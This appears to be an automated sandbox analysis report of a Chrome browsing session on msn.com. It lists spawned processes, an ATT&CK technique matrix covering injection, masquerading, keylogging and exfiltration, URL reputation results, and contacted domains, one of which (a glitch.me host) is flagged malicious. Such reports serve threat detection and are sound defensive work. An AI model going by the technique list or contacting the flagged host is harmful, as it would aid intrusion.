Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=5636 --field-trial-handle=2376,i,5334429179112139548,14185537720378761471,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2444 --field-trial-handle=2376,i,5334429179112139548,14185537720378761471,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=5636 --field-trial-handle=2376,i,5334429179112139548,14185537720378761471,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 Browser Extensions	1 Process Injection	2 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Web Service	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	5 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	3 Ingress Tool Transfer	Scheduled Transfer	Data Encrypted for Impact

Source	Detection	Scanner	Label
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMdL-dark	0%	Avira URL Cloud	safe
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gRnR-dark	0%	Avira URL Cloud	safe
https://msasg.visualstudio.com/ContentServices/_workitems/edit/3620803	0%	Avira URL Cloud	safe
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2C0	0%	Avira URL Cloud	safe
https://www.comparecards.com/guide/wells-fargo-reflect?mtaid=328BE&esourceid=44701578&utm_source=tra	0%	Avira URL Cloud	safe
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13goyh	0%	Avira URL Cloud	safe
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gRIg-dark	0%	Avira URL Cloud	safe
https://trydrclean.com/tools/spray-tdv-oven.php?affId=3C291410&c1=enus2-0111&c2=drclean_us	0%	Avira URL Cloud	safe
https://msasg.visualstudio.com/Bing_Ads/_workitems/edit/3905327	0%	Avira URL Cloud	safe
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gyvW-dark	0%	Avira URL Cloud	safe
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA12PNdd	0%	Avira URL Cloud	safe
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gAyL-dark	0%	Avira URL Cloud	safe
https://terryfator.com/tour/	0%	Avira URL Cloud	safe
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMdL	0%	Avira URL Cloud	safe
https://deals.getaudienatom2.com/2QSW9DWJ/2Q7Z7RW/?uid=2259&sub1=enus6-0111	0%	Avira URL Cloud	safe
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gRnR	0%	Avira URL Cloud	safe
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13eNIw	0%	Avira URL Cloud	safe

Name	IP	Active	Malicious	Reputation
jsdelivr.map.fastly.net	151.101.193.229	true	false	high
s-part-0016.t-0009.t-msedge.net	13.107.246.44	true	false	high
securepubads.g.doubleclick.net	142.250.185.98	true	false	high
bt.dns-finder.com	104.21.48.1	true	false	high
protected-by.clarium.io	63.33.127.94	true	false	high
tls13.taboola.map.fastly.net	151.101.1.44	true	false	high
cm.mgid.com	104.19.132.76	true	false	high
api.btloader.com	130.211.23.194	true	false	high
sni1gl.wpc.alphacdn.net	152.199.21.175	true	false	high
hbx.media.net	2.23.240.30	true	false	high
terrific-metal-countess.glitch.me	18.235.164.84	true	true	unknown
eu-eb2.3lift.com	76.223.111.18	true	false	high
ipapi.co	172.67.69.226	true	false	high
tsdtocl.com	151.101.129.44	true	false	high
ds-pr-bh.ybp.gysm.yahoodns.net	54.76.91.170	true	false	high
sync.im-apps.net	2.21.65.130	true	false	high
sni1gl.wpc.omegacdn.net	152.199.21.175	true	false	high
ams3-ib.adnxs.com	185.89.210.46	true	false	high
www.google.com	216.58.206.36	true	false	high
cdn.btmessage.com	104.26.6.141	true	false	high
pagead-googlehosted.l.google.com	142.250.74.193	true	false	high
nydc1.outbrain.org	70.42.32.255	true	false	high
ep1.adtrafficquality.google	142.250.186.130	true	false	high
ad.doubleclick.net	142.250.184.198	true	false	high
api.btmessage.com	104.26.7.141	true	false	high
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	high
HHN-efz.ms-acdc.office.com	52.98.242.242	true	false	high
ep2.adtrafficquality.google	142.250.185.129	true	false	high
ax-0001.ax-msedge.net	150.171.27.10	true	false	high
lb-sin.mgid.com	172.241.51.69	true	false	high
trace.popin.cc	35.213.89.133	true	false	high
trace.mediago.io	35.208.249.213	true	false	high
ad-delivery.net	104.26.2.70	true	false	high
sb.scorecardresearch.com	18.244.18.32	true	false	high
prod.appnexus.map.fastly.net	151.101.193.108	true	false	high
btloader.com	104.22.75.216	true	false	high
m.anycast.adnxs.com	185.89.210.180	true	false	high
api.telegram.org	149.154.167.220	true	false	high
visitor-fra02.omnitagjs.com	185.255.84.152	true	false	high
ib.anycast.adnxs.com	185.89.210.122	true	false	high
s-part-0037.t-0009.t-msedge.net	13.107.246.65	true	false	high
js.monitor.azure.com	unknown	unknown	false	high
api.taboola.com	unknown	unknown	false	high
sync.inmobi.com	unknown	unknown	false	high
outlook.live.com	unknown	unknown	false	high
acdn.adnxs.com	unknown	unknown	false	high
aadcdn.msftauth.net	unknown	unknown	false	high
px.ads.linkedin.com	unknown	unknown	false	high
m.adnxs.com	unknown	unknown	false	high
confiant.msn.com	unknown	unknown	false	high
cdn.taboola.com	unknown	unknown	false	high
cdn.glitch.global	unknown	unknown	false	high
cdn.jsdelivr.net	unknown	unknown	false	high
c.msn.com	unknown	unknown	false	high
srtb.msn.com	unknown	unknown	false	high
deff.nelreports.net	unknown	unknown	false	high
sync.outbrain.com	unknown	unknown	false	high
browser.events.data.msn.com	unknown	unknown	false	high
visitor.omnitagjs.com	unknown	unknown	false	high
pr-bh.ybp.yahoo.com	unknown	unknown	false	high
assets.msn.com	unknown	unknown	false	high
code.yengo.com	unknown	unknown	false	high
www.msn.com	unknown	unknown	false	high
mem.gfx.ms	unknown	unknown	false	high
cdn.adnxs.com	unknown	unknown	false	high
res.public.onecdn.static.microsoft	unknown	unknown	false	high
ib.adnxs.com	unknown	unknown	false	high
login.microsoftonline.com	unknown	unknown	false	high
api.msn.com	unknown	unknown	false	high
eb2.3lift.com	unknown	unknown	false	high

Name	Malicious	Reputation
https://sb.scorecardresearch.com/b?rn=1736641699171&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fwww.msn.com%2F%3Focid%3Dmailsignout%26pc%3DU591%26content%3D1%26mkt%3Den-us&c8=MSN&c9=&cs_fpid=037E08383FE368843ABF1D4A3E696958&cs_fpit=o&cs_fpdm=null&cs_fpdt=null	false	high
https://trace.popin.cc/cs/msn?id=037E08383FE368843ABF1D4A3E696958&gdpr=0&gdpr_consent=	false	high
https://pr-bh.ybp.yahoo.com/sync/msn?gdpr=0&gdpr_consent=	false	high
https://ib.adnxs.com/setuid?entity=483&code=037E08383FE368843ABF1D4A3E696958&gdpr=0&gdpr_consent=	false	high
https://cm.mgid.com/m?cdsp=516415&c=037E08383FE368843ABF1D4A3E696958&mode=inverse&msn_src=ntp&gdpr=0&gdpr_consent=	false	high
https://www.msn.com/?ocid=mailsignout&pc=U591	false	high
https://ad-delivery.net/px.gif?ch=2	false	high
https://cdn.taboola.com/scripts/msn-sync.es5.js	false	high
https://ams3-ib.adnxs.com/vevent?an_audit=0&referrer=https%3A%2F%2Fwww.msn.com%2F%3Focid%3Dmailsignout%26pc%3DU591&e=wqT_3QKGDvBDBgcAAAMA1gAFAQjEmYy8BhCW_b_ilI_C1GwY1v6tmpSMxME3KjYJC9ejcD0K5z8RC9ejcD0K5z8ZAAAAgOtRFUAhC9cJGwApESTIMQAAAKBH4eo_MM-uyAE4mAJA8lZIAlCH8_SFAljktQNgAGjuAniC8gWAAQGKAQNVU0SSBQbwVZgBrAKgAdgEqAEBsAEAuAEBwAEFyAEC0AEA2AEA4AEA8AEA-gEJTVNOVVNFTjExigJUdWYoJ2EnLCA1NTg2ODA3LCAwKTt1ZignaScsIDEwOTM3OTYzFRUsZycsIDI2NzczMjEwFRUAcgE-HDQ5MjcxOTQzBRbwi5ICvQQhUW04TnVBaVB3YjBkRUlmejlJVUNHQUFnNUxVRE1BQTRBRUFBU1BKV1VNLXV5QUZZQUdDdUJtZ0FjQUI0QUlBQkFJZ0JBSkFCQVpnQkFhQUJBYWdCQWJBQkFMa0JnazBNTGo0SzV6X0JBWUpOREM0LUN1Y195UUVBQUFBQUFBRHdQOWtCQUFBBQ50OERfZ0Fldk1td1gxQWV4Uk9ELVlBZ0NnQWdHMUFnASMEQzkJCPBVREFBZ0RJQWdEUUFnRFlBZ0RnQWdEb0FnRDRBZ0NBQXdHWUF3RzZBd2xCVFZNek9qWXdNalRnQTZSSWdBVGp6UGNQaUFUaTlfY1BrQVFBbUFRQndRUUEBYgUBCE1rRQUIBQEIRFJCBQgoQUF3Q0ZBMkFRQTguLAA4SWdGaUMtUUJlM3pjS2tGDSsYQThELXhCUREOPEFBd1FVSzE2TndQUXJuUDguKAAEX1IuKAAIMlFVDTXARHdQLUFGd0xJRThBWGFqZUlNLUFYM190UUNnZ1lEVlZORWlBWUFrQVlCbUFZQW9RWRlgJDZnR0JMSUdKQWsNTAxBQUFCHdMEQmsBEgkBAEMdGOhMZ0dDdmdIM3RJSS1BZTQ0Z2o0Ql9uM0NJRUlDdGVqY0QwSzV6LUlDQUNRQ0FBLpoCmQEhX2hUVndRaTZBAihPUzFBeUFBS0FBeBk5TDg2Q1VGTlV6TTZOakF5TkVDa1NFEYkMRHdQMR2JAEYRGAxBQUFHHRgARx0YAEgNGBxNQWhRSGdBaS5VAvSBAXcuLrICIDAzN0UwODM4M0ZFMzY4ODQzQUJGMUQ0QTNFNjk2OTU42AIB4AK7zlTqAi1odHRwczovL3d3dy5tc24uY29tLz9vY2lkPW1haWxzaWdub3V0JnBjPVU1OTGAAwCIAwGQA-3zcJgDF6ADAaoDAMAD2ATIAwDYA6YF4AMA6AMA-AMBgAQAkgQGL3V0L3YzmAQAogQMOC40Ni4xMjMuMTg5qAQAsgQUCAUQBBisAiD6ASgBKAIwADgEQgC4BADABI6XvSLIBADSBA8xMTEyMiNBTVMzOjYwMjTaBAIIAeAEAfAEh_P0hQKIBQGYBQCgBf___________wHABQDJBQAAAAAAAPA_0gUJCQAAAAAAAAAA2AUB4AUB8AUB-gUECAAQAIoGgAFVQk9PR0ZvQUFBQURBQWtDQlFFSXJ0V0tDeENVdXFrREdQTGRzQVFnQmlnQVFMaUV0d3hJX29TM0RGQ2tTRmk2TDNFQUFBQUFBQUFBQUhnQWdRRUFBQUFBIboEQUmNHCxKb0JBZ2dBcUFFQXM1pwEBcC4ukAYAmAYAogYNMjgwI0FNUzM6NjA3NLgGAMEGCbYo8D_QBpJC2gYWChAJERkBMBAAGADgBgHqBih1ZiilHxg2OTcwNjQ0hd8BFKEfGDkxODcwNTgFFFTyBgIIAIAHAYgHAKAHAcIHKygAOABBEVIASREJAFkRCVBwAHgAgAEAigECaHDIB4LyBdIHDwkRHQF_FCAA2gcGCAUL8KXgBwDqBwIIAPAHq_SsCooIbgpqAAABlFfp3aBsqQh5TE_-lkaH98GN3Rra3Hg-EPPeWjF6H4XmHq4t8VmY7FGrePqU_L5rtD3hJpOnN8X1ymHtjhIKyCyZeSF712z79rvccHH-ju7HOsjNSF2874vZ6E2_swVkXGNZh3mHNxABlQgAAIA_mAgBwAgB0ggOCIGChIiQoMCAARAAGADaCAQIACAA4AgA&s=2c9da1b8b5cd2cff65f46da1928e18da4a17d99c&type=nv&nvt=5&jm=1003&sid=5744968031039198779&vd=ct~0\|rr~0&sv=247&tv=view7-1hs&ua=chrome52&pl=win&x=v&tag_id=3282767&cid=3&cr=nv&sw=1280&sh=1024&pw=1263&ph=2747&ww=1280&wh=907&ft=2	false	high
https://btloader.com/tag?o=6208086025961472&upapi=true	false	high
https://sb.scorecardresearch.com/b2?rn=1736641699171&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fwww.msn.com%2F%3Focid%3Dmailsignout%26pc%3DU591%26content%3D1%26mkt%3Den-us&c8=MSN&c9=&cs_fpid=037E08383FE368843ABF1D4A3E696958&cs_fpit=o&cs_fpdm=null&cs_fpdt=null	false	high
https://cdn.btmessage.com/webfonts43j533.js	false	high
https://m.adnxs.com/seg?add=5159620&redir=https%3A%2F%2Fib.adnxs.com%2Fsetuid%3Fentity%3D483%26code%3D037E08383FE368843ABF1D4A3E696958%26gdpr%3D0%26gdpr_consent%3D	false	high
https://protected-by.clarium.io/log	false	high
https://securepubads.g.doubleclick.net/pcs/view?xai=AKAOjssALmB7icqmYSqTcG-kkNh7UlTimZiPBd3VCei6rkbY9z2ShlXD9W4nC_wdPhod-lJiKWbb-WR1lpg5_x9H0G_olE_sLMNOvUhueN72T_44o5IUJJrg-H_q9FitOvnFwn-7OSRv97pZGGfxsiqptj6Y_sQQJvUyM_IKo9A6a4-HUX1WK_0-NInH06GIpOvfM0_m4wlrgz0BjEpMYKphntPYHWmhnTTS-AcJDAKcImuJGSU0pN4EgeVyhn-BB5Ux1QtcQ1XoNBfVw61DODsQAlV35JHyt7pp43lU0CV3j64X2olF-OCZHnU-pDwgMhLnihlqQKcIPiewzoSycg-0V5eBtLoe1QlK4G3FUNs-OqS8noCPFd8HBnlsqxGMqe4hzOmkS3T68liWCwXyT9qbCgEFqwWIHNkdFWO5&sai=AMfl-YQS0poU-F4u8epMNVfNqxaA-n-uEQBd1FmTG45HvI4k6O_giqn6htzXHbqfL4odH0gMfdIRHS1pDgd-MwNbK81nCymkBSitPZyi7HTxO9nnL8-hskvtLtTMt4FbW1pDyVhwV-bayLmIYY31HVoe&sig=Cg0ArKJSzMQPJR_MPGPBEAE&uach_m=%5BUACH%5D&adurl=	false	high
https://ad.doubleclick.net/favicon.ico?ad=300x250&ad_box_=1&adnet=1&showad=1&size=250x250	false	high
https://securepubads.g.doubleclick.net/pcs/view?xai=AKAOjstpOwdzhYAFRE9Wufog2bOYVRf6QhWOpicwzP3kJF8unN11pSTA56WGAHZF8bBUZxkxj6MNoaBIlPjIJjJk22OMJJ7rspo79iZWBCqVx1snuSmU-FmdcKS_ya13vFpcvygmBqsZFETekNpv-bhq8VwujpAvYi7tPa_ZmQ8GEMAN6mPDYjiO6DS5hiIqwxNiTgM9xnD6IJ7mDLEP-AcdBJS8gCB6tAleYuGrcT8V1RC-Zr-uF-XHEiiyPlXqly4RxdX8BQ88ClBjFRqDOzLvWGldnE4p7A80SoKyGGHxjmieluQmzT96KV3QUubFAsRyDHjqt95yXN8Jx7V5r1BEvpyTy_ZtdCFp3uIDmv8o6I82UvSvkeI_Lfq7nBzkc-_ujGK59yBUP0sGusosNk8hIFrIfQy1kMuoVmY9szk&sai=AMfl-YQux8OBX14stZp7GCuTko47Q33aN971Y2ObTl1XdcUVFEJVNpvihvI8dvX0WG06RTuQZd0FKbnYTs39Kh6gzJs3xx8dEjG72fo-_nE810LQ6vxXnZpsdToSj_v2xAYGVSe3pKiHK9ll7uTlKdki&sig=Cg0ArKJSzHbM-UTxOeGOEAE&uach_m=%5BUACH%5D&adurl=	false	high
https://m.adnxs.com/bounce?%2Fmapuid%3Fmember%3D280%26user%3D037E08383FE368843ABF1D4A3E696958%3B%26gdpr%3D0%26gdpr_consent%3D%26redir%3Dhttps%253A%252F%252Fm.adnxs.com%252Fseg%253Fadd%253D5159620%2526redir%253Dhttps%25253A%25252F%25252Fib.adnxs.com%25252Fsetuid%25253Fentity%25253D483%252526code%25253D037E08383FE368843ABF1D4A3E696958%252526gdpr%25253D0%252526gdpr_consent%25253D	false	high
https://ad-delivery.net/px.gif?ch=1&e=0.9908475109849821	false	high
https://tsdtocl.com/	false	high
https://ep2.adtrafficquality.google/sodar/sodar2.js	false	high
https://acdn.adnxs.com/dmp/async_usersync.html	false	high
https://cdn.jsdelivr.net/npm/axios@1.1.2/dist/axios.min.js	false	high
https://eb2.3lift.com/mapuid?suid=037E08383FE368843ABF1D4A3E696958&sid=16&gdpr=0&gdpr_consent=	false	high
https://outlook.live.com/owa/csignout.aspx?%3f%3fumkt=es-US&exch=1&RpsCsrfState=4042c6ed-e025-daaa-5b59-e2b84fedc413&lc=1033	false	high
https://ib.adnxs.com/ut/v3	false	high
https://code.yengo.com/sync?ssp=msn&id=037E08383FE368843ABF1D4A3E696958&gdpr=0&gdpr_consent=	false	high
https://m.adnxs.com/mapuid?member=280&user=037E08383FE368843ABF1D4A3E696958&gdpr=0&gdpr_consent=&redir=https%3A%2F%2Fm.adnxs.com%2Fseg%3Fadd%3D5159620%26redir%3Dhttps%253A%252F%252Fib.adnxs.com%252Fsetuid%253Fentity%253D483%2526code%253D037E08383FE368843ABF1D4A3E696958%2526gdpr%253D0%2526gdpr_consent%253D	false	high
https://api.btloader.com/country?o=6208086025961472	false	high
https://ams3-ib.adnxs.com/vevent?an_audit=0&referrer=https%3A%2F%2Fwww.msn.com%2F%3Focid%3Dmailsignout%26pc%3DU591&e=wqT_3QKGDvBDBgcAAAMA1gAFAQjEmYy8BhCW_b_ilI_C1GwY1v6tmpSMxME3KjYJC9ejcD0K5z8RC9ejcD0K5z8ZAAAAgOtRFUAhC9cJGwApESTIMQAAAKBH4eo_MM-uyAE4mAJA8lZIAlCH8_SFAljktQNgAGjuAniC8gWAAQGKAQNVU0SSBQbwVZgBrAKgAdgEqAEBsAEAuAEBwAEFyAEC0AEA2AEA4AEA8AEA-gEJTVNOVVNFTjExigJUdWYoJ2EnLCA1NTg2ODA3LCAwKTt1ZignaScsIDEwOTM3OTYzFRUsZycsIDI2NzczMjEwFRUAcgE-HDQ5MjcxOTQzBRbwi5ICvQQhUW04TnVBaVB3YjBkRUlmejlJVUNHQUFnNUxVRE1BQTRBRUFBU1BKV1VNLXV5QUZZQUdDdUJtZ0FjQUI0QUlBQkFJZ0JBSkFCQVpnQkFhQUJBYWdCQWJBQkFMa0JnazBNTGo0SzV6X0JBWUpOREM0LUN1Y195UUVBQUFBQUFBRHdQOWtCQUFBBQ50OERfZ0Fldk1td1gxQWV4Uk9ELVlBZ0NnQWdHMUFnASMEQzkJCPBVREFBZ0RJQWdEUUFnRFlBZ0RnQWdEb0FnRDRBZ0NBQXdHWUF3RzZBd2xCVFZNek9qWXdNalRnQTZSSWdBVGp6UGNQaUFUaTlfY1BrQVFBbUFRQndRUUEBYgUBCE1rRQUIBQEIRFJCBQgoQUF3Q0ZBMkFRQTguLAA4SWdGaUMtUUJlM3pjS2tGDSsYQThELXhCUREOPEFBd1FVSzE2TndQUXJuUDguKAAEX1IuKAAIMlFVDTXARHdQLUFGd0xJRThBWGFqZUlNLUFYM190UUNnZ1lEVlZORWlBWUFrQVlCbUFZQW9RWRlgJDZnR0JMSUdKQWsNTAxBQUFCHdMEQmsBEgkBAEMdGOhMZ0dDdmdIM3RJSS1BZTQ0Z2o0Ql9uM0NJRUlDdGVqY0QwSzV6LUlDQUNRQ0FBLpoCmQEhX2hUVndRaTZBAihPUzFBeUFBS0FBeBk5TDg2Q1VGTlV6TTZOakF5TkVDa1NFEYkMRHdQMR2JAEYRGAxBQUFHHRgARx0YAEgNGBxNQWhRSGdBaS5VAvSBAXcuLrICIDAzN0UwODM4M0ZFMzY4ODQzQUJGMUQ0QTNFNjk2OTU42AIB4AK7zlTqAi1odHRwczovL3d3dy5tc24uY29tLz9vY2lkPW1haWxzaWdub3V0JnBjPVU1OTGAAwCIAwGQA-3zcJgDF6ADAaoDAMAD2ATIAwDYA6YF4AMA6AMA-AMBgAQAkgQGL3V0L3YzmAQAogQMOC40Ni4xMjMuMTg5qAQAsgQUCAUQBBisAiD6ASgBKAIwADgEQgC4BADABI6XvSLIBADSBA8xMTEyMiNBTVMzOjYwMjTaBAIIAeAEAfAEh_P0hQKIBQGYBQCgBf___________wHABQDJBQAAAAAAAPA_0gUJCQAAAAAAAAAA2AUB4AUB8AUB-gUECAAQAIoGgAFVQk9PR0ZvQUFBQURBQWtDQlFFSXJ0V0tDeENVdXFrREdQTGRzQVFnQmlnQVFMaUV0d3hJX29TM0RGQ2tTRmk2TDNFQUFBQUFBQUFBQUhnQWdRRUFBQUFBIboEQUmNHCxKb0JBZ2dBcUFFQXM1pwEBcC4ukAYAmAYAogYNMjgwI0FNUzM6NjA3NLgGAMEGCbYo8D_QBpJC2gYWChAJERkBMBAAGADgBgHqBih1ZiilHxg2OTcwNjQ0hd8BFKEfGDkxODcwNTgFFFTyBgIIAIAHAYgHAKAHAcIHKygAOABBEVIASREJAFkRCVBwAHgAgAEAigECaHDIB4LyBdIHDwkRHQF_FCAA2gcGCAUL8KXgBwDqBwIIAPAHq_SsCooIbgpqAAABlFfp3aBsqQh5TE_-lkaH98GN3Rra3Hg-EPPeWjF6H4XmHq4t8VmY7FGrePqU_L5rtD3hJpOnN8X1ymHtjhIKyCyZeSF712z79rvccHH-ju7HOsjNSF2874vZ6E2_swVkXGNZh3mHNxABlQgAAIA_mAgBwAgB0ggOCIGChIiQoMCAARAAGADaCAQIACAA4AgA&s=2c9da1b8b5cd2cff65f46da1928e18da4a17d99c&type=pv&jm=1003&px=804&py=496&bw=300&bh=600&sf=0.69&sid=5744968031039198779&vd=ct~0\|rr~5&sv=247&tv=view7-1hs&ua=chrome52&pl=win&x=v&tag_id=3282767&cid=3&cr=nv&ft=2	false	high

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.googletagservices.com/agrp/	chromecache_280.3.dr, chromecache_320.3.dr	false		high
https://www.msn.com/en-us/entertainment/news/landman-co-creator-whose-podcast-inspired-paramount-ser	chromecache_335.3.dr	false		high
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV	chromecache_570.3.dr, chromecache_468.3.dr	false		high
https://www.businessinsider.com/rheinmetall-kf41-lynx-ifv-infantry-fighting-vehicle-ukraine-photos-2	chromecache_335.3.dr	false		high
https://ads.pubmatic.com/AdServer/js/user_sync.html?p=159035&gdpr=0&gdpr_consent=&userId	chromecache_694.3.dr	false		high
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gRIg-dark	chromecache_519.3.dr	false	Avira URL Cloud: safe	unknown
https://ep2.adtrafficquality.google	chromecache_406.3.dr	false		high
https://financebuzz.com/stress-free-retirement?utm_source=msn-money&utm_medium=feed&synd_slide=2&syn	chromecache_335.3.dr	false		high
https://msasg.visualstudio.com/Bing_Ads/_workitems/edit/3905327	chromecache_718.3.dr, chromecache_442.3.dr	false	Avira URL Cloud: safe	unknown
https://www.cnbc.com/2015/06/09/rowan-atkinson-crashes-mclaren-f1-supercar-twice-sells-for-122-milli	chromecache_519.3.dr	false		high
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gyvW-dark	chromecache_335.3.dr	false	Avira URL Cloud: safe	unknown
https://github.com/shaka-project/shaka-packager	chromecache_798.3.dr, chromecache_768.3.dr, chromecache_388.3.dr, chromecache_638.3.dr, chromecache_821.3.dr, chromecache_693.3.dr, chromecache_481.3.dr, chromecache_728.3.dr	false		high
https://www.msn.com/$	chromecache_330.3.dr, chromecache_408.3.dr	false		high
https://www.msn.com/en-us/money/realestate/i-feel-stupid-this-oklahoma-father-is-facing-foreclosure-	chromecache_335.3.dr, chromecache_519.3.dr	false		high
https://www.msn.com/en-us/video/peopleandplaces/my-heart-bleeds-jennifer-garner-and-chef-jos	chromecache_529.3.dr, chromecache_678.3.dr	false		high
https://www.msn.com/en-us/health/other/sam-moore-who-sang-soul-man-in-sam-dave-duo-dies-at-89-due-to	chromecache_335.3.dr, chromecache_519.3.dr	false		high
https://www.msn.com	chromecache_754.3.dr, chromecache_416.3.dr	false		high
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMdL-dark	chromecache_519.3.dr	false	Avira URL Cloud: safe	unknown
https://msasg.visualstudio.com/ContentServices/_workitems/edit/3620803	chromecache_330.3.dr, chromecache_408.3.dr	false	Avira URL Cloud: safe	unknown
https://login.microsoftonline.com/common/discovery/v2.0/keys	chromecache_507.3.dr, chromecache_555.3.dr	false		high
https://www.comparecards.com/guide/wells-fargo-reflect?mtaid=328BE&esourceid=44701578&utm_source=tra	chromecache_685.3.dr, chromecache_374.3.dr	false	Avira URL Cloud: safe	unknown
https://ep1.adtrafficquality.google/pagead/gen_204?id=sodar2&v=231	chromecache_818.3.dr	false		high
https://ep1.adtrafficquality.google/pagead/gen_204?id=sodar2&v=232	chromecache_579.3.dr, chromecache_406.3.dr	false		high
https://www.businessinsider.com/here-are-three-possibilities-for-the-armys-next-gen-combat-vehicle-2	chromecache_335.3.dr	false		high
https://www.msn.com/en-us/news/technology/a-powerful-potential-challenger-to-spacex-s-rocket-dominan	chromecache_335.3.dr, chromecache_519.3.dr	false		high
https://api.msn.com:443/msn/Feed/me?$top=8&delta=True&session=e2a6bebc-3e2f-426e-bf0b-79e5204a983e&$	chromecache_678.3.dr	false		high
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2C0	chromecache_335.3.dr, chromecache_519.3.dr	false	Avira URL Cloud: safe	unknown
https://glitch.com	chromecache_786.3.dr	false		high
https://securepubads.g.doubleclick.net/pagead/js/cocar.js	chromecache_457.3.dr	false		high
https://www.msn.com/	chromecache_369.3.dr, chromecache_378.3.dr	false		high
https://trydrclean.com/tools/spray-tdv-oven.php?affId=3C291410&c1=enus2-0111&c2=drclean_us	chromecache_685.3.dr, chromecache_374.3.dr	false	Avira URL Cloud: safe	unknown
